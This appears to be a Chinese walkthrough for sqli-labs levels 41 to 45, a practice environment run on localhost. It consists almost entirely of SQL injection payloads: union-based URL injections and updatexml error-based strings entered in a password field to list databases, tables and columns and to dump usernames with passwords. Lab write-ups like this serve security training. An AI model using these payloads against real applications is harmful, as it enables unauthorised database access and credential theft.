第41关

一.查询数据库

http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,database()--+http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,database()--+

二.查表

http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%20--+http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%20--+

三.查列

http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)--+http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)--+

四.查user表里所有数据

http://127.0.0.1/Less-41/?id=-1%20union%20select%201,2,(select%20group_concat(username,%27~%27,password)%20from%20security.users)--+

第42关

一.登录页面

二.查询数据库

在密码框里输入
'and updatexml(1,concat(~,(select database()),~),1)

三.查表 

在密码框里输入
'and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),~),1) 

 四.查列

在密码框里输入

'and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_name='users' ),~),1) 

 第43关

一.登录页面

二. 查询数据库

在密码框里输入
') and updatexml(1,concat(~,(select database()),~),1) 

三.查表名

在密码框里输入
') and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),~),1)

 

四.查列

') and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_name='users' ),~),1) 

第44关

一.查询数据库

在密码框中输入

1' union select 1,database(),3 #

二.查表

在密码框中输入1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

 

三.查列

在密码框中输入1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #

 

第45关

一.查询数据库

在密码框中输入1') union select 1,database(),3 #

二.查表

在密码框中输入1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

三.查列

在密码框中输入1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #